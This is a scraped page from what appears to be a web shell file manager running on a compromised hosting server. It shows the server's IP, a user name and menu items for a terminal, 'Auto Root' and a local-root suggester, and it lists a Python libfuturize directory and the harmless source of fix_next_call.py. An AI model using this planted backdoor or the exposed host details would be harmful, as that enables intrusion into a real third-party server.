Linux newlinux5.pouyasazan.org 3.10.0-962.3.2.lve1.5.60.el7.x86_64 #1 SMP Fri Jul 23 07:07:00 EDT 2021 x86_64
LiteSpeed
Server IP : 88.99.66.243 & Your IP : 216.73.216.178
Domains :
Cant Read [ /etc/named.conf ]
User : wdbbsgxf
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
lib /
python2.7 /
site-packages /
libfuturize /
fixes /
Delete
Unzip
Name
Size
Permission
Date
Action
__init__.py
5.11
KB
-rw-r--r--
2019-10-31 04:26
__init__.pyc
2.34
KB
-rw-r--r--
2020-01-24 15:25
__init__.pyo
2.34
KB
-rw-r--r--
2020-01-24 15:25
fix_UserDict.py
3.75
KB
-rw-r--r--
2019-10-31 04:04
fix_UserDict.pyc
2.73
KB
-rw-r--r--
2020-01-24 15:25
fix_UserDict.pyo
2.73
KB
-rw-r--r--
2020-01-24 15:25
fix_absolute_import.py
3.07
KB
-rw-r--r--
2019-10-31 04:04
fix_absolute_import.pyc
2.9
KB
-rw-r--r--
2020-01-24 15:25
fix_absolute_import.pyo
2.9
KB
-rw-r--r--
2020-01-24 15:25
fix_add__future__imports_except_unicode_literals.py
662
B
-rw-r--r--
2019-10-31 04:04
fix_add__future__imports_except_unicode_literals.pyc
1.27
KB
-rw-r--r--
2020-01-24 15:25
fix_add__future__imports_except_unicode_literals.pyo
1.27
KB
-rw-r--r--
2020-01-24 15:25
fix_basestring.py
394
B
-rw-r--r--
2019-10-31 04:04
fix_basestring.pyc
968
B
-rw-r--r--
2020-01-24 15:25
fix_basestring.pyo
968
B
-rw-r--r--
2020-01-24 15:25
fix_bytes.py
685
B
-rw-r--r--
2019-10-31 04:04
fix_bytes.pyc
1.24
KB
-rw-r--r--
2020-01-24 15:25
fix_bytes.pyo
1.24
KB
-rw-r--r--
2020-01-24 15:25
fix_cmp.py
701
B
-rw-r--r--
2019-10-31 04:04
fix_cmp.pyc
1.25
KB
-rw-r--r--
2020-01-24 15:25
fix_cmp.pyo
1.25
KB
-rw-r--r--
2020-01-24 15:25
fix_division.py
228
B
-rw-r--r--
2019-10-31 04:04
fix_division.pyc
425
B
-rw-r--r--
2020-01-24 15:25
fix_division.pyo
425
B
-rw-r--r--
2020-01-24 15:25
fix_division_safe.py
3.21
KB
-rw-r--r--
2019-10-31 04:04
fix_division_safe.pyc
3.73
KB
-rw-r--r--
2020-01-24 15:25
fix_division_safe.pyo
3.73
KB
-rw-r--r--
2020-01-24 15:25
fix_execfile.py
921
B
-rw-r--r--
2019-10-31 04:04
fix_execfile.pyc
1.48
KB
-rw-r--r--
2020-01-24 15:25
fix_execfile.pyo
1.48
KB
-rw-r--r--
2020-01-24 15:25
fix_future_builtins.py
1.98
KB
-rw-r--r--
2019-10-31 04:04
fix_future_builtins.pyc
1.87
KB
-rw-r--r--
2020-01-24 15:25
fix_future_builtins.pyo
1.87
KB
-rw-r--r--
2020-01-24 15:25
fix_future_standard_library.py
733
B
-rw-r--r--
2019-10-31 04:04
fix_future_standard_library.pyc
1.19
KB
-rw-r--r--
2020-01-24 15:25
fix_future_standard_library.pyo
1.19
KB
-rw-r--r--
2020-01-24 15:25
fix_future_standard_library_urllib.py
1001
B
-rw-r--r--
2019-10-31 04:04
fix_future_standard_library_urllib.pyc
1.27
KB
-rw-r--r--
2020-01-24 15:25
fix_future_standard_library_urllib.pyo
1.27
KB
-rw-r--r--
2020-01-24 15:25
fix_input.py
687
B
-rw-r--r--
2019-10-31 04:26
fix_input.pyc
1.17
KB
-rw-r--r--
2020-01-24 15:25
fix_input.pyo
1.17
KB
-rw-r--r--
2020-01-24 15:25
fix_metaclass.py
9.34
KB
-rw-r--r--
2019-10-31 04:04
fix_metaclass.pyc
7.09
KB
-rw-r--r--
2020-01-24 15:25
fix_metaclass.pyo
7.09
KB
-rw-r--r--
2020-01-24 15:25
fix_next_call.py
3.08
KB
-rw-r--r--
2019-10-31 04:04
fix_next_call.pyc
3.55
KB
-rw-r--r--
2020-01-24 15:25
fix_next_call.pyo
3.51
KB
-rw-r--r--
2020-01-24 15:25
fix_object.py
407
B
-rw-r--r--
2019-10-31 04:04
fix_object.pyc
958
B
-rw-r--r--
2020-01-24 15:25
fix_object.pyo
958
B
-rw-r--r--
2020-01-24 15:25
fix_oldstr_wrap.py
1.19
KB
-rw-r--r--
2019-10-31 04:04
fix_oldstr_wrap.pyc
1.65
KB
-rw-r--r--
2020-01-24 15:25
fix_oldstr_wrap.pyo
1.65
KB
-rw-r--r--
2020-01-24 15:25
fix_order___future__imports.py
829
B
-rw-r--r--
2019-10-31 04:04
fix_order___future__imports.pyc
1.18
KB
-rw-r--r--
2020-01-24 15:25
fix_order___future__imports.pyo
1.18
KB
-rw-r--r--
2020-01-24 15:25
fix_print.py
3.3
KB
-rw-r--r--
2019-10-31 04:04
fix_print.pyc
2.76
KB
-rw-r--r--
2020-01-24 15:25
fix_print.pyo
2.67
KB
-rw-r--r--
2020-01-24 15:25
fix_print_with_import.py
735
B
-rw-r--r--
2019-10-31 04:04
fix_print_with_import.pyc
1.06
KB
-rw-r--r--
2020-01-24 15:25
fix_print_with_import.pyo
1.06
KB
-rw-r--r--
2020-01-24 15:25
fix_raise.py
3.79
KB
-rw-r--r--
2019-10-31 04:04
fix_raise.pyc
2.76
KB
-rw-r--r--
2020-01-24 15:25
fix_raise.pyo
2.76
KB
-rw-r--r--
2020-01-24 15:25
fix_remove_old__future__imports.py
851
B
-rw-r--r--
2019-10-31 04:04
fix_remove_old__future__imports.pyc
1.41
KB
-rw-r--r--
2020-01-24 15:25
fix_remove_old__future__imports.pyo
1.41
KB
-rw-r--r--
2020-01-24 15:25
fix_unicode_keep_u.py
779
B
-rw-r--r--
2019-10-31 04:04
fix_unicode_keep_u.pyc
1.34
KB
-rw-r--r--
2020-01-24 15:25
fix_unicode_keep_u.pyo
1.34
KB
-rw-r--r--
2020-01-24 15:25
fix_unicode_literals_import.py
367
B
-rw-r--r--
2019-10-31 04:04
fix_unicode_literals_import.pyc
990
B
-rw-r--r--
2020-01-24 15:25
fix_unicode_literals_import.pyo
990
B
-rw-r--r--
2020-01-24 15:25
fix_xrange_with_import.py
479
B
-rw-r--r--
2019-10-31 04:04
fix_xrange_with_import.pyc
1021
B
-rw-r--r--
2020-01-24 15:25
fix_xrange_with_import.pyo
1021
B
-rw-r--r--
2020-01-24 15:25
Save
Rename
""" Based on fix_next.py by Collin Winter. Replaces it.next() -> next(it), per PEP 3114. Unlike fix_next.py, this fixer doesn't replace the name of a next method with __next__, which would break Python 2 compatibility without further help from fixers in stage 2. """ # Local imports from lib2to3.pgen2 import token from lib2to3.pygram import python_symbols as syms from lib2to3 import fixer_base from lib2to3.fixer_util import Name, Call, find_binding bind_warning = "Calls to builtin next() possibly shadowed by global binding" class FixNextCall(fixer_base.BaseFix): BM_compatible = True PATTERN = """ power< base=any+ trailer< '.' attr='next' > trailer< '(' ')' > > | power< head=any+ trailer< '.' attr='next' > not trailer< '(' ')' > > | global=global_stmt< 'global' any* 'next' any* > """ order = "pre" # Pre-order tree traversal def start_tree(self, tree, filename): super(FixNextCall, self).start_tree(tree, filename) n = find_binding('next', tree) if n: self.warning(n, bind_warning) self.shadowed_next = True else: self.shadowed_next = False def transform(self, node, results): assert results base = results.get("base") attr = results.get("attr") name = results.get("name") if base: if self.shadowed_next: # Omit this: # attr.replace(Name("__next__", prefix=attr.prefix)) pass else: base = [n.clone() for n in base] base[0].prefix = "" node.replace(Call(Name("next", prefix=node.prefix), base)) elif name: # Omit this: # n = Name("__next__", prefix=name.prefix) # name.replace(n) pass elif attr: # We don't do this transformation if we're assigning to "x.next". # Unfortunately, it doesn't seem possible to do this in PATTERN, # so it's being done here. if is_assign_target(node): head = results["head"] if "".join([str(n) for n in head]).strip() == '__builtin__': self.warning(node, bind_warning) return # Omit this: # attr.replace(Name("__next__")) elif "global" in results: self.warning(node, bind_warning) self.shadowed_next = True ### The following functions help test if node is part of an assignment ### target. def is_assign_target(node): assign = find_assign(node) if assign is None: return False for child in assign.children: if child.type == token.EQUAL: return False elif is_subtree(child, node): return True return False def find_assign(node): if node.type == syms.expr_stmt: return node if node.type == syms.simple_stmt or node.parent is None: return None return find_assign(node.parent) def is_subtree(root, node): if root == node: return True return any(is_subtree(c, node) for c in root.children)